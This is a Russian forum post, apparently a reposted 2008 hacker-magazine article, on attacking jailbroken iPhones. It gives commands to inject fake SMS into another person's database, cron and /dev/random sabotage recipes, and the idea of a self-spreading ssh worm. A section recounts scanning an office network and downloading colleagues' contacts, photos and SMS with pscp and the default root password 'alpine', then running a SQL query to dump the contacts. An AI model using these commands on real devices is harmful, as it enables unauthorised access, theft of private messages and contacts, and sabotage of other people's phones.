Сайт Гильдии Anarchy, Welcome to Hell

Пятница, 01.11.2024, 03:04
Приветствую Вас Гость
Главная

Регистрация

Вход

RSS


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Продолжение атаки iPhone
dosangДата: Пятница, 28.11.2008, 12:47 | Сообщение # 1
Группа: Удаленные





SQLite
Наконец, в маленьких уютненьких базочках SQLite хранятся замечательные вещи — база SMS, адресная книжка и многое другое. База SMS лежит тут — /var/mobile/Library/SMS/sms.db, адресная книга тут — /var/mobile/Library/AddressBook.sqlitedb. Скопировав их на свою машину, ты сможешь разобраться в структуре и содержимом с помощью утилиты sqlite3 (у пользователей Mac OS X она есть сразу, у пользователей Linux и Windows тоже не будет особых проблем).

Утилита может выполнять твои желания интерактивно или прямо из командной строки. Если ты вызовешь ее с SQL-запросом, она исполнит его и выйдет. Если без — она вернет тебе приглашение и будет ждать других запросов и команд. Самые интересные таблицы — таблица messages в sms.db и таблица ABPerson в AddressBook.sqlitedb. Ты можешь читать, парсить и изменять эти базы, более того — Эрика и ее портировала на iPhone (к вопросу о силе open source). Не забудь сделать резервную копию для себя — мало ли для чего может пригодиться база чужих SMS и адресная книга с работающими телефонами и электронными адресами.

И, конечно, используй sqlite3 в целях мира во всем мире:

sqlite3 sms.db “INSERT INTO messages VALUES(0, ‘+0000000’, 1354321900, ‘МЫ ЛЮДИ БУДУЩЕГО НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР’,1,0,NULL,0,0,0,0,0);”

Пускай человек внезапно обнаружит в своей базе послание из будущего (1 декабря 2012 года в 00:31:40 по Гринвичу — третье поле в таблице содержит дату в эпохе).

AT+OMFG!
Это же телефон, черт возьми! Музыка музыкой, картинки картинками, но главная задача сотового телефона — сотовая связь. Вообще, модем в сотовом телефоне (в iPhone это /dev/tty.baseband) обычно недоступен — на нем висит коммуникационный процесс, ожидающий поступления звонков и сообщений. Но у нас есть лазейка — /dev/tty.debug.

Чтобы поговорить с модемом, можно использовать mincom (он часть пакета с BSD-окружением). Его потребуется настроить (minicom -s), так как по умолчанию он пытается соединиться с /dev/modem. Но если ты торопишься, создай симлинк — ln /dev/tty.baseband /dev/modem (симлинки на телефоне — это очень круто).

Теперь запусти minicom и начинай отдавать AT-команды. К примеру, команда AT+CBC, сообщит тебе об уровне заряда батарейки:

AT+CBC

+CBC: 0,65

OK

Батарейка заряжена на 65%, и еще на какое-то время ее хватит. Теперь можно позвонить, отправить sms или подключить какую-нибудь хорошую услугу. Давай отправим sms — это меньшее, что мы можем сделать после того, как прочитали все имеющиеся.

AT+CMGF=1 // Модем переключается в текстовый режим (0 — голос, 1 — текст) и возвращает OK.

AT+CMGW=”+712345678” //Здесь начинается, собственно, сообщение. Номер абонента — часть команды. Модем вернет приглашение ввести текст сообщения — >

> Welcome... to the world of tomorrow! // Сообщение кончится, когда модем получит EOF — теперь оно будет записано в память. Модем вернет OK и +CMGW: N, где N — индекс сообщения в памяти модема.

AT+CMSS=N // Отправка сообщения, индекс которого — N — вернет OK, если сообщение успешно отправлено.
Список AT-команд не менялся уже много лет. Используя их, ты сможешь отправлять SMS, набирать телефонные номера и изучать свойства аппаратной части iPhone.

Для того чтобы отдавать AT-команды прямо из командной строки, было написано несколько утилит. Например, команда iPhone Elite выпустила утилиту sendmodem. Протолкнув sendmodem на iPhone, ты сможешь использовать ее саму по себе или в скриптах. Исходный код утилиты — прекрасный пример того, как отдавать AT-команды программно.

Перспективы
Как видишь, даже без особой подготовки можно найти и поюзать iPhone, получив при этом огромное удовольствие. А если ты подготовишься, то сможешь сделать куда больше.

Писать для iPhone не сложнее, чем для любой другой UNIX OS и значительно проще, чем для любого другого сотового телефона. Бесполезно помещать на iPhone Java-утилитки — ему требуется суровый мужской С. Несмотря на возражения Apple, за год вокруг iPhone сложилось огромное девелоперское сообщество, и ты легко найдешь подробные инструкции по кросс-компиляции, мануалы и описания библиотек, узнаешь — как бороться с standby mode, перехватывать управление модемом и так далее.

Представь себе маленькую утилитку, обнаруживающую другие телефоны по Bonjour, логиняющуюся по ssh с паролем alpine и оставляющую на них свою копию. Или утилитку, отправляющую sms (с вежливым приветствием всем людям в адресной книге) — можно было бы обойтись 10-15 строчками кода. В общем, iPhone — действительно революционное устройство.

Простое западло
Напоследок – два простых рецепта.

1. Если хочешь, чтобы вражеский айфон перезагружался раз в пять минут – просто набери crontab -e и добавь в cron одну строку:

*/5 * * * reboot

2. Неплохая идея – занять все свободные на айфоне гигабайты. Сделать это легко:

cat /dev/random > hahagotcha.txt

Бешеные гигабайты быстро кончатся, и iPhone будет настойчиво предлагать своему владельцу удалить пару фотографий и немного музыки, чтобы расчистить место.

Меняем пароль на iPhone
Если подопытный iPhone принадлежит тебе, защитить его очень просто — просто поменяй пароль root. Но если ты еще не обновился до второй версии прошивки – не стоит при этом использовать passwd. Этим ты испортишь /etc/master.passwd. Хоть OS X и не нужен пароль root, ей нужно прочитать при старте список пользователей. Телефон не сможет загрузиться и тебе придется восстанавливать его прошивку. Поменяй пароль вручную. Для этого нужно посчитать хеш нового пароля командой openssl passwd -crypt -salt /s твой_новый_пароль и заменить хэш пароля пользователя root в /etc/master.passwd. Если ты – конченый параноик, поставь заодно BossPrefs и отключай sshd, когда он тебе не нужен.

Gorl ставит опыты
Так уж вышло, что в офисе нашей редакции очень много айфонов. И если ты вдруг появишься с Nokia (а я большой поклонник N95, хоть и переквалифицировался на Apple), то на тебя будут очень сочуственно и активно смотреть, мол, ничего, бонус получишь и тоже обайфонишься, а пока - белая ворона.

Движимый благородными чувствами, я решил поломать все имеющиеся в области досигаемости нашей wifi-сети яблочные телефоны, чтобы их владельцы нормальных людей не так сильно смущали.

Больших сложностей после прочтения статьи у меня не возникло.

Скачал для своего домашнего питона модуль pybonjour (http://o2s.csail.mit.edu/o2s-wiki/pybonjour), который позволяет в реальном времени следить за zeroconf-сомвестимыми сервисами.

Подредактировал скрипт browse_and_resolve.py из комлпекта модуля так, чтобы он обнаруживал только ssh-сервисы: sys.argv[1] заменил на '_ssh._tcp' - и никаких тебе аргументов запуска.

Потом в callback-функции добавил, чтобы для кажого hostname запускался тред pscp.exe (из комплекта Putty) и скачивал список контактов, смс и все фотографии (%s - это хост айфона).

Контакты:

pscp.exe -r -pw alpine root@%s:/var/mobile/Library/AddressBook/AddressBook.sqlitedb X:\iphones.db\%s\

Фотки:

pscp.exe -r -pw alpine root@%s:/var/mobile/media/DCIM X:\iphones.db\%s\

База SMS:

pscp.exe -r -pw alpine root@%s:/var/mobile/Library/SMS/sms.db X:\iphones.db\%s\

Также потребовалась копия всех этих же комманд для старых прошивок: все то же самое, только 'root' вместо 'mobile'.

После запуска скрипта чужая приватная инфа не заставила себя ждать. Однако если с просмотром фоткок все понятно (jpeg - он и айфоне jpeg), то чтобы прочесть смс и адресную книгу пришлось скачать специальную утилитку для работы с базами sqlite (http://sqlitebrowser.sourceforge.net).

Вывести с ее помощью все контакты из файла AddressBook.sqlitedb помог простенький запроc:

SELECT ABPerson.Last, ABPerson.First, ABMultiValue.value FROM ABPerson, ABMultiValue

WHERE ABPerson.ROWID = ABMultiValue.record_id ORDER BY ABPerson.Last

Чтобы не побили хожу теперь по офису и делаю всем passwd.

INFO
SpringBoard — домашний экран iPhone, приложение, которое показывает иконки других приложений. Оно исполняет те же функции, что и Dock в настольной Mac OS X. Все запущенные пользователем приложения — дочерние процессы SpringBoard.

WARNING
Одинаковый пароль по умолчанию — не дыра в безопасности мобильной OS X, а небрежность пользователя, которому полагается знать, что он делает. Но это не значит, что OS X неуязвима. Уязвимость в браузере iPhone уже использовали для разлочки.
Чем больше ты найдешь уязвимостей, тем больше у тебя шансов получить работу в Apple: прямо сейчас на apple.com/jobs висит вакансия эксперта по безопасности iPhone.
Если хочешь поставить дело на поток, обрати внимание на одну из функций PwnageTool, приложения для взлома и разлочки iPhone (iphwn.org) — мультибут. Ты сможешь поставить прошивки версий 1.1.2, 1.1.4 и 2.0 бок о бок и перезагружаться из одной в другую.

 
  • Страница 1 из 1
  • 1
Поиск: